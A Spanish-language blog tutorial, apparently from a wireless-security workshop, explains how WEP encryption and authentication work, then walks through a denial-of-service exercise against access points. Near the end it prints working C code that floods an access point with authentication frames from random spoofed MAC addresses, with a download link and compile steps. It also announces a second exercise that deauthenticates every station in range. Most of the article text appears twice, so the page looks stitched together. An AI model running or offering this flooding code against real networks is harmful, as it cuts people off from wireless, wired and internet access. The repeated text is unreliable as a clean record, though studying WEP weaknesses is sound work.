Posted by Star | Posted in | Posted on 22:23
WEP es uno de los métodos utilizados para cifrar las comunicaicones inalámbricas.
Es un algoritmo opcional, nada ni nadie obliga su utilización y si bien como veremos en este mismo apartado, es francamente vulnerable por todas partes, utilizar WEP siempre será mejor que nada.
Desde los inicios del estándar 802.11 se ha mantenido sin cambios a medida que aparecieron nuevas revisiones de los mismos (802.11a, 802.11b) precisamente para garantizar la compatibilidad entre los distintos fabricantes.
Está implementado en la totalidad de las tarjetas inalámbricas (y puntos de acceso) y en muchos casos a nivel de MAC no sólo por software.
El cifrado de datos no garantiza el proceso de autenticación, esto es, podemos utilizar un sistema de cifrado de datos (como WEP) con autenticación "abbierta" o mediante clave compartida.
En el modo abierto una estación que recibe una solicitud de comunicación puede conceder la autorización de acceso a la red a cualquiera o sólo aquellas que estén incluidas en una "lista blanca", esa lista blanca no es otra cosa que una relación de MAC’s de las estaciones a las que les está permitido el acceso a la red, o como lo conocemos de una forma mas coloquial, un filtrado de MAC.
Por tanto, en el modo abierto tenemos dos formas de autorización:
El sistema de autenticación puede ser un equipo externo (un servidor de autenticación tipo RADIUS; AAA, etc..) y en otras ocasiones puede ser el mismo punto de acceso.
Ni que decir tiene que un sistema de autenticación mediante clave compartida (ya sea WEP u otros) es mas seguro que un sistema en modo abierto.
Recuerda: La autenticación es un paso diferente al cifrado.
Cuando se utiliza un cifrado (como WEP) y un sistema de claves compartidas (un sistema de autenticación) decimos que es una red en modo seguro.
De lo anterior deducimos que el cifrado es la forma adecuada de proteger los datos a transmitir y que la autenticación es la forma adecuada de validar qué estaciones tienen acceso al medio para poder transmitir, ambos en conjunto, implementan un sistema seguro.
WEP se desarrolló para garantizar la confidencialidad e integridad de los datos en los sistemas WLAN basados en el estándar 802.11, así como para proporcionar control de acceso mediante mecanismos de autenticación. Consecuentemente, la mayor parte de los productos WLAN compatibles con 802.11 soportan WEP como característica estándar opcional.
El Cifrado WEP.
WEP utiliza una clave secreta compartida entre una estación inalámbrica y un punto de acceso. Todos los datos enviados y recibidos entre la estación y el punto de acceso pueden ser cifrados utilizando esta clave compartida.
El estándar 802.11 no especifica cómo se establece la clave secreta, pero permite que la existencia una tabla que asocie una clave exclusiva con cada estación. En la práctica general, sin embargo, una misma clave es compartida entre todas las estaciones y puntos de acceso de un sistema dado.
Para proteger el texto cifrado frente a modificaciones no autorizadas mientras está en tránsito, WEP aplica un algoritmo de comprobación de integridad (CRC-32) al texto en claro, lo que genera un valor de comprobación de integridad (ICV) que se añade al final de cada trama a transmitir.
Nota aclaratoria acerca del ICV (ó CRC32)
En muchos lugares (libros, webs, foros, etc..) encontrarás que unos dicen que el ICV es el CRC32 de los datos sin cifrar a transmitir, otros dicen que el ICV es el CRC32 del contenido de los datos sin cifrar al que se le aplica el algoritmo RC4, en otros encontrarás que el ICV es el CRC32 de los datos sin cifrar al que se le aplica el un keystream (un flujo de bytes resultante del algoritmo RC4).
Ya… igual es un poco [i]trabalenguas, te pongo una imagen de los tres casos para que observes bien las diferentes afirmaciones:[/i]
Caso a) El ICV es el CRC de los datos a transmitir sin cifrarry se añade al final de los datos cifrados.
Caso b) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica el algoritmo RC4 y que se añade al final de de los datos cifrados.
Caso c) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica un keystream resultante del algoritmo RC4 y que se añade al final de los datos cifrados.
Lo que está claro es que el ICV es el CRC32 de los datos a transmitir si cifrar y también está claro que se añaden al final del paquete cifrado… pero…
¿Se añaden "sin mas"? (caso a)
¿Se añaden tras aplicarle RC4? ) (caso b?
¿Se añaden tras aplicarle un keystream de RC4? (caso c)
¿Cual es el "bueno"?
Primero tendemos que aclarar que el CRC32 NO es un mecanismo de "seguridad", mas bien es un mecanismo de comprobación… para comprobar que el contenido de "algo" a enviar es el contenido de "ese algo" recibido.
No es particular de WEP, ni mucho menos, se aplica a numerosos formatos, escritura de archivos, ficheros zip, imágenes, SSL, etc… es sencillamente eso, una forma de constatar que no hubo errores en la operación (escritura, envío, compresión, etc..) y en algunos casos también podemos "recuperar" parte de la información dañada recalculando el CRC…
Otra cosa importante es que el CRC32 se calcula SIEMPRE sobre los DATOS y NUNCA sobre la cabecera, es decir, la parte correspondiente al Frame Control, duración, MAC’s, número de secuencia y QoS (si lo hay) no se incluyen en el CRC32.
Además, tenemos que añadir "otro elemento" al cifrado WEP, el IV (o Vector de Inicialización)
Este IV se añade al final de la cabecera MAC y son 4 bytes…. Este IV TAMPOCO forma parte del CRC32.
La trama a enviar de un paquete WEP tendría esta forma más o menos:
De los cuales sólo la zona amarilla es el resultado de aplicar el algoritmo RC4 a los datos sin cifrar y que (obviamente) da como resultado los datos cifrados.
Según esta afirmación podríamos asegurar que la respuesta a la pregunta que nos estamos haciendo es la a)
Bueno, pues no alarguemos mucho mas esto…. La solución correcta es la c)
El caso b) tiene "trampa" y es que tras obtener RC4 se aplica un keystream al CRC32 calculado, por eso la confusión.
Por tanto, para generar un paquete (completo) cifrado con WEP la imagen correcta es esta:
Pero recuerda que el resultado (los datos cifrados) son un flujo (un keystream) resultante de aplicar RC4 al contenido del paquete a enviar en texto plano + su checksum (CRC32). A cada byte en plano se le aplica un byte del keystream obtenido que dará como resultado un byte cifrado.
Vemos que la cabecera MAC y el IV se transmiten en plano, mientras que los datos y el CRC32 se cifran con RC4
También hay que añadir que se si se utilizase un sistema de autenticación, habría cambios en la cabecera MAC puesto que se cifraría con la clave compartida… quedaría así:
De momento nos vamos a olvidar de los sistemas de autenticación, daremos por hecho que el sistema es abierto y cifrado con WEP.
Para comprender mejor el cometido del IV en este escenario, primero tenemos que hablar de RC4 y cómo lo aplica WEP.
Algoritmo RC4
Aunque desarrollado por RSA security, no hay que confundir RC4 con RSA.
Como muchos hemos aprendido, RC4 tiene una historia curiosa puesto que desde que se inventó (allá por el año 1987) hasta el día de hoy no ha sido liberado su código… parece ser que 7 años después de su creación, apareció el código fuente publicado en una lista de correo, y es con esta "liberación forzada" por lo que conocemos el funcionamiento del mismo.
RC4 genera un flujo pseudoaleatorio de bits (un keystream) que se combina con el texto plano usando la función XOR.
Es un cifrado simétrico (ambos extremos poseen la misma clave para cifrar y descifrar el mensaje) y genera el mismo número de bytes cifrados que los existentes en el texto plano (no te olvides que hay que añadir el CRC32 como parte del texto a cifrar)
Por eso se llama de "flujo", el tamaño del texto cifrado es idéntico al tamaño del texto resultante del cifrado, esto no ocurre con otros tipos de cifrado como pueden ser los de bloques.
El motivo de utilizar RC4 en WEP es por su simplicidad de cálculo en los procesos, si las redes inalámbricas ya tienen que competir con los esfuerzos de una transmisión rápida, colisiones, acceso compartido al medio, etc.. si le añadimos un algoritmo de cifrado que ocupe mucho tiempo en calcularse o que genere un tamaño de texto cifrado mucho mas grande, la comunicación sería muy lenta.
Cómo funciona WEP
Las llaves realmente son de 40, 104 y/o 232 bits!!! Puesto que 24 bits son para el IV
Pongamos un ejemplo para claves de 40 bits.
Supongamos que el passphrase elegido para el cifrado de la red WEP es: currupipimix0
Como ves en la tabla, se realizan operaciones XOR entre los diferentes valores en hexadecimal de passphrase y se obtiene una semilla (seed) de 4 bytes:
Esta semilla (3F 68 72 7A) la usará PRGN (un generador de números pseudoaleatorios) para generar 40 cadenas de 32 bits que a su vez se escogerá un bit para generar 4 llaves de 40 bits, de las que habitualmente sólo usaremos una de ellas. Esta será la clave WEP a utilizar.
Esto es lo que llamaremos más adelante KSA + PRGN.
De estos valores KSA y PRGN, se consigue el IV al que se le añade el "key index" (número de clave que está siendo usada) y se le pasan a RC4 para que genere el keystream del texto en plano.
De nuevo una figura es "más cómodo" para entenderlo:
Para descifrar el paquete recibido:
Si conocemos dos de esos tres valores podemos obtener el tercero, obvio, claro… pero ya veremos mas adelante que esto es muy útil.
SNAP y LLC
Hasta ahora hemos hablado de datos en texto plano (los datos a enviar) y datos cifrados (lo que realmente se envía tras realizar las operaciones con RC4, keystream, llaves, etc..)
Pero hay algo importante que se debe conocer: A los datos en texto plano se les "antepone" una cabecera nueva… lo que se llama la subcapa LLC ó SNAP.
Esto es un control de enlace, para el caso que nos ocupa, esta cabecera SNAP permite usar los datos Ethernet con los valores de 802.11,, de este modo pueden operar "entre ellos".
El estándar dice que deben comenzar por 0xAA, en la práctica y siguiendo con el caso de las redes inalámbricas, la cabecera SNAP y/o subcapa LLC suele tener estos valores:
http://es.wikipedia.org/wiki/IEEE_802.2
O sea, que a los datos a transmitir en texto plano se les anteponen 6 bytes para la cabecera SNAP/LLC. De tal forma que si queremos transmitir algo así:
Realmente se envían:
A decir verdad, lo que sería la cabecera SNAP/LLC sería (para este ejemplo):
Y los datos:
Es decir, la cabecera SNAP/LLC son los consabidos 6 bytes + 2 primeros bytes de los datos a enviar (estos dos bytes definen el protocolo que se usará, ARP, IP, etc..)
Por tanto, tanto RC4 como el keystream hay que calcularlo de la cabecera SNAP + Datos en texto plano!!!
Ejemplo de la captura de un esnifer de un paquete ARP RESPONSE sin la cabecera SNAP (paquete capturado desde una interface ethernet)
Ejemplo de la captura de un esnifer de un paquete ARP REQUEST junto con la cabecera SNAP (paquete capturado desde una interface 802.11)
Como ves en la pantalla anterior, LLC se antepone a los datos a enviar.
Bueno, y al margen de WEP, hay que señalar una cuestión especial…
¿No ves nada "extraño" en esta captura?
Seguro???
Fíjate bien… Durante todo este Taller, venimos diciendo que el protocolo 802.11 comienza por un FC, etc… (lo que llamamos la cabecera MAC) y según la captura anterior, y si observas bien la pantalla, verás que ANTES de la encapsulación IEE 802.11 aparece una "cosa" que dice AVS WLAN Monitoring Header
Y si te fijas aún mas, veras que es en la posición 0x40 donde realmente comienza el FC y la cabecera MAC.
¿Qué son los 0x40 (64 bytes) anteriores??
Esto nos ocurrirá cuando utilicemos tarjetas Prism!!! Este tipo de tarjetas WiFi añaden una cabecera propia de 64 bytes a toda la trama…
Uff, esto puede ser un problema (que realmente no lo es tanto) pero nos puede dificultar las explicaciones, resulta que si usamos Prism, la cabecera MAC comienza en la posición +64 bytes del paquete mientras que si no usamos Prism, comienza el la posición +0.
Podemos resolverlo de un plumazo…. (desde Linux) , si antes de usar los programas de captura, esnifers, airodump, etc, etc… ejecutamos esto:
Desactivamos las cabeceras prism...
Ahora ya no aparece eso del AVS WLAN Monitoring… y la cabecera MAC comienza en la posición cero como hemos venido estudiando.
Autenticación con WEP:
El proceso de autenticación precede al de envío de datos, antes de poder enviar información por la red debemos estar autenticados y asociados…
Si usamos WEP como cifrado en modo seguro (esto es, cifrado + clave compartida) el proceso de autenticación es así:
En el caso de que usemos WEP en modo abierto, (sin el uso de claves compartidas) podremos autenticarnos (no asociarnos), no podremos enviar datos puesto que desconocemos la clave wep y lo que recibamos tampoco "lo entenderemos" puesto que está cifrado.
Resumen:
Un par de ejemplos de Denegación de Servicio con WEP.
Antes de ponernos a analizar "más afondo" cuales son las debilidades de WEP, vamos a realizar dos ejercicios del tipo DoS para empezar a entender por dónde vienen los tiros…
El primero es un ataque de Denegación de servicio contra Puntos de Acceso, casi todos los ataques DoS se centran en los clientes, aquí vamos a "probar" nuestros puntos de acceso y/o routers inalámbricos.
El segundo es una "maldad", basado en el mismo principio, vamos a desautenticar a "todo bicho viviente" que aparezca al alcance….
Probando la resistencia de un punto de acceso.
Como ya he dicho, esto puede ser una prueba útil para que compruebes la resistencia de tu punto de acceso contra desbordamiento de recursos…
La idea es muy simple, si usamos una autenticación abierta, ya hemos comentado en la parte de teoría que nos podemos autenticar…
Hasta aquí todo bien… pero y si en lugar de autenticar una estación (una MAC) autenticamos…. 5000, 10000…. En unos segundos???
Pues esto es lo que hace este pequeño programita… autenticar cientos de estaciones por segundo, el resultado final será un consumo excesivo de los recursos del punto de acceso o router inalámbrico y denegación de servicio al canto.
En ocasiones puede incluso hasta afectar a todo el sistema en general, con lo que en routers domésticos podemos dejar sin comunicación no sólo a los clientes inalámbricos, también a los de cable, Internet, etc…
Como siempre en el código fuente del programa he intentado explicar con detenimiento todo el proceso:
Como en los otros ejercicios, se utiliza la función send_packet que nos permite enviar paquetes por la interface Wifi que dispongamos y dump_packet para "ver" la trama que enviamos…
La parte que nos interesa es esta:
Es un algoritmo opcional, nada ni nadie obliga su utilización y si bien como veremos en este mismo apartado, es francamente vulnerable por todas partes, utilizar WEP siempre será mejor que nada.
Desde los inicios del estándar 802.11 se ha mantenido sin cambios a medida que aparecieron nuevas revisiones de los mismos (802.11a, 802.11b) precisamente para garantizar la compatibilidad entre los distintos fabricantes.
Está implementado en la totalidad de las tarjetas inalámbricas (y puntos de acceso) y en muchos casos a nivel de MAC no sólo por software.
El cifrado de datos no garantiza el proceso de autenticación, esto es, podemos utilizar un sistema de cifrado de datos (como WEP) con autenticación "abbierta" o mediante clave compartida.
En el modo abierto una estación que recibe una solicitud de comunicación puede conceder la autorización de acceso a la red a cualquiera o sólo aquellas que estén incluidas en una "lista blanca", esa lista blanca no es otra cosa que una relación de MAC’s de las estaciones a las que les está permitido el acceso a la red, o como lo conocemos de una forma mas coloquial, un filtrado de MAC.
Por tanto, en el modo abierto tenemos dos formas de autorización:
- • abierta y sin autorización
• abierta y con filtrado de MAC
El sistema de autenticación puede ser un equipo externo (un servidor de autenticación tipo RADIUS; AAA, etc..) y en otras ocasiones puede ser el mismo punto de acceso.
Ni que decir tiene que un sistema de autenticación mediante clave compartida (ya sea WEP u otros) es mas seguro que un sistema en modo abierto.
Recuerda: La autenticación es un paso diferente al cifrado.
Cuando se utiliza un cifrado (como WEP) y un sistema de claves compartidas (un sistema de autenticación) decimos que es una red en modo seguro.
De lo anterior deducimos que el cifrado es la forma adecuada de proteger los datos a transmitir y que la autenticación es la forma adecuada de validar qué estaciones tienen acceso al medio para poder transmitir, ambos en conjunto, implementan un sistema seguro.
WEP se desarrolló para garantizar la confidencialidad e integridad de los datos en los sistemas WLAN basados en el estándar 802.11, así como para proporcionar control de acceso mediante mecanismos de autenticación. Consecuentemente, la mayor parte de los productos WLAN compatibles con 802.11 soportan WEP como característica estándar opcional.
El Cifrado WEP.
WEP utiliza una clave secreta compartida entre una estación inalámbrica y un punto de acceso. Todos los datos enviados y recibidos entre la estación y el punto de acceso pueden ser cifrados utilizando esta clave compartida.
El estándar 802.11 no especifica cómo se establece la clave secreta, pero permite que la existencia una tabla que asocie una clave exclusiva con cada estación. En la práctica general, sin embargo, una misma clave es compartida entre todas las estaciones y puntos de acceso de un sistema dado.
Para proteger el texto cifrado frente a modificaciones no autorizadas mientras está en tránsito, WEP aplica un algoritmo de comprobación de integridad (CRC-32) al texto en claro, lo que genera un valor de comprobación de integridad (ICV) que se añade al final de cada trama a transmitir.
Nota aclaratoria acerca del ICV (ó CRC32)
En muchos lugares (libros, webs, foros, etc..) encontrarás que unos dicen que el ICV es el CRC32 de los datos sin cifrar a transmitir, otros dicen que el ICV es el CRC32 del contenido de los datos sin cifrar al que se le aplica el algoritmo RC4, en otros encontrarás que el ICV es el CRC32 de los datos sin cifrar al que se le aplica el un keystream (un flujo de bytes resultante del algoritmo RC4).
Ya… igual es un poco [i]trabalenguas, te pongo una imagen de los tres casos para que observes bien las diferentes afirmaciones:[/i]
Caso a) El ICV es el CRC de los datos a transmitir sin cifrarry se añade al final de los datos cifrados.
Caso b) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica el algoritmo RC4 y que se añade al final de de los datos cifrados.
Caso c) El ICV es el CRC32 de los datos a transmitir sin cifrar al que se le aplica un keystream resultante del algoritmo RC4 y que se añade al final de los datos cifrados.
Lo que está claro es que el ICV es el CRC32 de los datos a transmitir si cifrar y también está claro que se añaden al final del paquete cifrado… pero…
¿Se añaden "sin mas"? (caso a)
¿Se añaden tras aplicarle RC4? ) (caso b?
¿Se añaden tras aplicarle un keystream de RC4? (caso c)
¿Cual es el "bueno"?
Primero tendemos que aclarar que el CRC32 NO es un mecanismo de "seguridad", mas bien es un mecanismo de comprobación… para comprobar que el contenido de "algo" a enviar es el contenido de "ese algo" recibido.
No es particular de WEP, ni mucho menos, se aplica a numerosos formatos, escritura de archivos, ficheros zip, imágenes, SSL, etc… es sencillamente eso, una forma de constatar que no hubo errores en la operación (escritura, envío, compresión, etc..) y en algunos casos también podemos "recuperar" parte de la información dañada recalculando el CRC…
Otra cosa importante es que el CRC32 se calcula SIEMPRE sobre los DATOS y NUNCA sobre la cabecera, es decir, la parte correspondiente al Frame Control, duración, MAC’s, número de secuencia y QoS (si lo hay) no se incluyen en el CRC32.
Además, tenemos que añadir "otro elemento" al cifrado WEP, el IV (o Vector de Inicialización)
Este IV se añade al final de la cabecera MAC y son 4 bytes…. Este IV TAMPOCO forma parte del CRC32.
La trama a enviar de un paquete WEP tendría esta forma más o menos:
De los cuales sólo la zona amarilla es el resultado de aplicar el algoritmo RC4 a los datos sin cifrar y que (obviamente) da como resultado los datos cifrados.
Según esta afirmación podríamos asegurar que la respuesta a la pregunta que nos estamos haciendo es la a)
- Esto quiere decir que si utilizamos el mismo IV y los mismos datos a transmitir el ICV será siempre el mismo.
También, quiere decir que si usamos diferentes IV’s y los mismos datos a transmitir, el ICV también debería se el mismo para todos los paquetes… si haces la prueba verás que NO es así.
Bueno, pues no alarguemos mucho mas esto…. La solución correcta es la c)
El caso b) tiene "trampa" y es que tras obtener RC4 se aplica un keystream al CRC32 calculado, por eso la confusión.
Por tanto, para generar un paquete (completo) cifrado con WEP la imagen correcta es esta:
Pero recuerda que el resultado (los datos cifrados) son un flujo (un keystream) resultante de aplicar RC4 al contenido del paquete a enviar en texto plano + su checksum (CRC32). A cada byte en plano se le aplica un byte del keystream obtenido que dará como resultado un byte cifrado.
Vemos que la cabecera MAC y el IV se transmiten en plano, mientras que los datos y el CRC32 se cifran con RC4
También hay que añadir que se si se utilizase un sistema de autenticación, habría cambios en la cabecera MAC puesto que se cifraría con la clave compartida… quedaría así:
De momento nos vamos a olvidar de los sistemas de autenticación, daremos por hecho que el sistema es abierto y cifrado con WEP.
Para comprender mejor el cometido del IV en este escenario, primero tenemos que hablar de RC4 y cómo lo aplica WEP.
Algoritmo RC4
Aunque desarrollado por RSA security, no hay que confundir RC4 con RSA.
Como muchos hemos aprendido, RC4 tiene una historia curiosa puesto que desde que se inventó (allá por el año 1987) hasta el día de hoy no ha sido liberado su código… parece ser que 7 años después de su creación, apareció el código fuente publicado en una lista de correo, y es con esta "liberación forzada" por lo que conocemos el funcionamiento del mismo.
RC4 genera un flujo pseudoaleatorio de bits (un keystream) que se combina con el texto plano usando la función XOR.
Es un cifrado simétrico (ambos extremos poseen la misma clave para cifrar y descifrar el mensaje) y genera el mismo número de bytes cifrados que los existentes en el texto plano (no te olvides que hay que añadir el CRC32 como parte del texto a cifrar)
Por eso se llama de "flujo", el tamaño del texto cifrado es idéntico al tamaño del texto resultante del cifrado, esto no ocurre con otros tipos de cifrado como pueden ser los de bloques.
El motivo de utilizar RC4 en WEP es por su simplicidad de cálculo en los procesos, si las redes inalámbricas ya tienen que competir con los esfuerzos de una transmisión rápida, colisiones, acceso compartido al medio, etc.. si le añadimos un algoritmo de cifrado que ocupe mucho tiempo en calcularse o que genere un tamaño de texto cifrado mucho mas grande, la comunicación sería muy lenta.
Cómo funciona WEP
- * Utiliza RC4 para el cifrado de datos+CRC32
* Uso llaves de 64,128,256 bits.
* Estas llaves se genera a partir de una passphrase automáticamente.
* La llave o passphrase deben conocerla todos los clientes
Las llaves realmente son de 40, 104 y/o 232 bits!!! Puesto que 24 bits son para el IV
Pongamos un ejemplo para claves de 40 bits.
Supongamos que el passphrase elegido para el cifrado de la red WEP es: currupipimix0
Como ves en la tabla, se realizan operaciones XOR entre los diferentes valores en hexadecimal de passphrase y se obtiene una semilla (seed) de 4 bytes:
Esta semilla (3F 68 72 7A) la usará PRGN (un generador de números pseudoaleatorios) para generar 40 cadenas de 32 bits que a su vez se escogerá un bit para generar 4 llaves de 40 bits, de las que habitualmente sólo usaremos una de ellas. Esta será la clave WEP a utilizar.
Esto es lo que llamaremos más adelante KSA + PRGN.
De estos valores KSA y PRGN, se consigue el IV al que se le añade el "key index" (número de clave que está siendo usada) y se le pasan a RC4 para que genere el keystream del texto en plano.
De nuevo una figura es "más cómodo" para entenderlo:
Para descifrar el paquete recibido:
- • El receptor extrae el IV que se envía inmediatamente después de la cabecera MAC.
• Examina el "key index" y escoge la clave apropiada.
• Como "conoce" la clave secreta , el key index de la llave escogida y el IV, puede generar su propio keystream.
• Realiza una operación XOR entre los datos recibidos y el keystream calculado, de tal forma que obtiene los datos en plano.
• Calcula el CRC32 de los mismos y lo comprueba haciendo también un XOR del ICV recibido con el keystream de los bytes correspondientes.
• Si el CRC32 concuerda, procesa los datos, en caso contrario los descarta.
Si conocemos dos de esos tres valores podemos obtener el tercero, obvio, claro… pero ya veremos mas adelante que esto es muy útil.
SNAP y LLC
Hasta ahora hemos hablado de datos en texto plano (los datos a enviar) y datos cifrados (lo que realmente se envía tras realizar las operaciones con RC4, keystream, llaves, etc..)
Pero hay algo importante que se debe conocer: A los datos en texto plano se les "antepone" una cabecera nueva… lo que se llama la subcapa LLC ó SNAP.
Esto es un control de enlace, para el caso que nos ocupa, esta cabecera SNAP permite usar los datos Ethernet con los valores de 802.11,, de este modo pueden operar "entre ellos".
El estándar dice que deben comenzar por 0xAA, en la práctica y siguiendo con el caso de las redes inalámbricas, la cabecera SNAP y/o subcapa LLC suele tener estos valores:
- AA AA 03 00 00 00; 6 bytes para comunicaciones sin el protocolo Spanning-tree (usado para evitar bucles de conmutación en topologías físicas redundantes, como por ejemplo una red en malla.)
42 42 03 00 00 00: 6 bytes para las comunicaciones en los que Spanning-tree está activado.
http://es.wikipedia.org/wiki/IEEE_802.2
O sea, que a los datos a transmitir en texto plano se les anteponen 6 bytes para la cabecera SNAP/LLC. De tal forma que si queremos transmitir algo así:
Realmente se envían:
A decir verdad, lo que sería la cabecera SNAP/LLC sería (para este ejemplo):
Y los datos:
Es decir, la cabecera SNAP/LLC son los consabidos 6 bytes + 2 primeros bytes de los datos a enviar (estos dos bytes definen el protocolo que se usará, ARP, IP, etc..)
Por tanto, tanto RC4 como el keystream hay que calcularlo de la cabecera SNAP + Datos en texto plano!!!
Ejemplo de la captura de un esnifer de un paquete ARP RESPONSE sin la cabecera SNAP (paquete capturado desde una interface ethernet)
Ejemplo de la captura de un esnifer de un paquete ARP REQUEST junto con la cabecera SNAP (paquete capturado desde una interface 802.11)
Como ves en la pantalla anterior, LLC se antepone a los datos a enviar.
Bueno, y al margen de WEP, hay que señalar una cuestión especial…
¿No ves nada "extraño" en esta captura?
Seguro???
Fíjate bien… Durante todo este Taller, venimos diciendo que el protocolo 802.11 comienza por un FC, etc… (lo que llamamos la cabecera MAC) y según la captura anterior, y si observas bien la pantalla, verás que ANTES de la encapsulación IEE 802.11 aparece una "cosa" que dice AVS WLAN Monitoring Header
Y si te fijas aún mas, veras que es en la posición 0x40 donde realmente comienza el FC y la cabecera MAC.
¿Qué son los 0x40 (64 bytes) anteriores??
Esto nos ocurrirá cuando utilicemos tarjetas Prism!!! Este tipo de tarjetas WiFi añaden una cabecera propia de 64 bytes a toda la trama…
Uff, esto puede ser un problema (que realmente no lo es tanto) pero nos puede dificultar las explicaciones, resulta que si usamos Prism, la cabecera MAC comienza en la posición +64 bytes del paquete mientras que si no usamos Prism, comienza el la posición +0.
Podemos resolverlo de un plumazo…. (desde Linux) , si antes de usar los programas de captura, esnifers, airodump, etc, etc… ejecutamos esto:
Desactivamos las cabeceras prism...
Ahora ya no aparece eso del AVS WLAN Monitoring… y la cabecera MAC comienza en la posición cero como hemos venido estudiando.
Autenticación con WEP:
El proceso de autenticación precede al de envío de datos, antes de poder enviar información por la red debemos estar autenticados y asociados…
Si usamos WEP como cifrado en modo seguro (esto es, cifrado + clave compartida) el proceso de autenticación es así:
- Cuando una estación trata de conectarse con un punto de acceso, éste le envía un texto aleatorio, que constituye el desafío (challenge).
La estación debe utilizar la copia de su clave secreta compartida para cifrar el texto de desafío y devolverlo al punto de acceso, con el fin de autenticarse.
El punto de acceso descifra la respuesta utilizando la misma clave compartida y compara con el texto de desafío enviado anteriormente.
Si los dos textos son idénticos, el punto de acceso envía un mensaje de confirmación a la estación y la acepta dentro de la red.
Si la estación no dispone de una clave, o si envía una respuesta incorrecta, el punto de acceso la rechaza, evitando que la estación acceda a la red.
En el caso de que usemos WEP en modo abierto, (sin el uso de claves compartidas) podremos autenticarnos (no asociarnos), no podremos enviar datos puesto que desconocemos la clave wep y lo que recibamos tampoco "lo entenderemos" puesto que está cifrado.
Resumen:
- 1º) El cliente escoge la clave WEP para acceder a la red con la que se quiere asociar
2º) Se genera un IV (Vector de Inicialización) "aleatorio"
3º) Se añade es IV inmediatamente después de la cabecera MAC
4º) se combina el IV con la clave wep elegida y se cifran mediante RC4,
5º) se obtiene un keystream resultante del cifrado con RC4
6º) Se toman los datos a enviar en texto plano, anteponiendo SNAP y calculando un CRCR32 de todo (LLC+SNAP+Datos)
7º) se realiza una operación XOR entre el keystream obtenido en el paso 5º) y los datos en texto plano del paso 6º) y el resultado se añade a continuación del IV en la trama de datos.
8º) El CRC de 32 bits dará como resultado un ICV (Control o Comprobación de Vector de Inicialización)
9º) Se añade ese ICV al final del paquete y se termina con la construcción del paquete cifrado de datos.
Un par de ejemplos de Denegación de Servicio con WEP.
Antes de ponernos a analizar "más afondo" cuales son las debilidades de WEP, vamos a realizar dos ejercicios del tipo DoS para empezar a entender por dónde vienen los tiros…
El primero es un ataque de Denegación de servicio contra Puntos de Acceso, casi todos los ataques DoS se centran en los clientes, aquí vamos a "probar" nuestros puntos de acceso y/o routers inalámbricos.
El segundo es una "maldad", basado en el mismo principio, vamos a desautenticar a "todo bicho viviente" que aparezca al alcance….
Probando la resistencia de un punto de acceso.
Como ya he dicho, esto puede ser una prueba útil para que compruebes la resistencia de tu punto de acceso contra desbordamiento de recursos…
La idea es muy simple, si usamos una autenticación abierta, ya hemos comentado en la parte de teoría que nos podemos autenticar…
Hasta aquí todo bien… pero y si en lugar de autenticar una estación (una MAC) autenticamos…. 5000, 10000…. En unos segundos???
Pues esto es lo que hace este pequeño programita… autenticar cientos de estaciones por segundo, el resultado final será un consumo excesivo de los recursos del punto de acceso o router inalámbrico y denegación de servicio al canto.
En ocasiones puede incluso hasta afectar a todo el sistema en general, con lo que en routers domésticos podemos dejar sin comunicación no sólo a los clientes inalámbricos, también a los de cable, Internet, etc…
Como siempre en el código fuente del programa he intentado explicar con detenimiento todo el proceso:
Como en los otros ejercicios, se utiliza la función send_packet que nos permite enviar paquetes por la interface Wifi que dispongamos y dump_packet para "ver" la trama que enviamos…
La parte que nos interesa es esta:
...
...
unsigned int mac_ap[6]; //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DoS_AP[30];
// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso ----------------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);
/***************************************/
/* Construimos la trama de Autenticación */
/***************************************/
// FRAME CONTROL bytes 0 y 1
DoS_AP[0]=0xB0; // Esto es AUTENTICACION!!!
DoS_AP[1]=0x00;
// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 30 01
DoS_AP[2]=0X30;
DoS_AP[3]=0X01;
// MAC DESTINO -- LA DEl PUNTO DE ACCESO (DoS_AP+4, DoS_AP+5... hasta DoS_AP+9)
for (z=0;z<6;z++) DoS_AP[4+z]=mac_ap[z];
// MAC ORIGEN -- MAC Falsa ALEATORIA (DoS_AP+10, DoS_AP+11.... hasta DoS_AP+15)
for (z=0;z<6;z++) DoS_AP[10+z]=rand() & 0xFF;
DoS_AP[10]=0x00;
// MAC DEL BSSID -- LA DEL PUNTO DE ACCESO Dos_AP+16, DoS_AP+17 hasta DoS_AP+21)
for (z=0;z<6;z++) DoS_AP[16+z]=mac_ap[z];
// Número de Fragmento y número de secuencia bytes 22 y 23
DoS_AP[22]=0x10;
DoS_AP[23]=0x00;
DoS_AP[24]=0x00;
DoS_AP[25]=0x00;
// Número de Secuencia de la Autenticación (por ejemplo, 02 00)
DoS_AP[26]=0x02;
DoS_AP[27]=0x00;
// Razón y Estado de la DoS_AP bytes 28 y 20. Satisfactorio!!!!
DoS_AP[28]=0x00;
DoS_AP[29]=0x00;
// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");
dump_packet(DoS_AP,30); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");
// Comenzams el ataque DoS contra el AP.
z=1;
while(1)
{
printf ("\rEnviando trama número %i \r",z);
fflush( stdout );
z++;
send_packet(DoS_AP,30); //Enviamos paquete
usleep(50000); //Se espera 50mil ms, se enviarán unos 200 paq. x segundo
//con mac's aleatorias.... en 5 segundos el AP recibirá
//1000 solicitudes con sus 1000 mac's. Resultado => Desbordamiento
//y transcurridos unos segundos mas => todas las estaciones también fuera
// Generamos una nueva MAC aleatoria
for (i=0;i<6;i++) DoS_AP[10+i]=rand() & 0xFF;
DoS_AP[10]=0x00;
// Nº Secuencia aleatorio para h80211
DoS_AP[22]=rand() & 0xFF;
DoS_AP[23]=rand() & 0xFF;
// Nº Secuencia Aleatorio para solicitud de autenticacion
DoS_AP[26]=rand () & 0xFF;
DoS_AP[27]=rand () & 0xFF;
}
....
....Es interesante que te des cuenta como se construyen las tramas de autenticación
El código completo lo encontrarás aquí:
http://www.megaupload.com/?d=DQ5DD6YS
Y como siempre, para no tener problemas de compilación lo guardamos junto con el código fuente de la suite de aircrack-ng, con el nombre dosAP.c y lo compilamos:
El código completo lo encontrarás aquí:
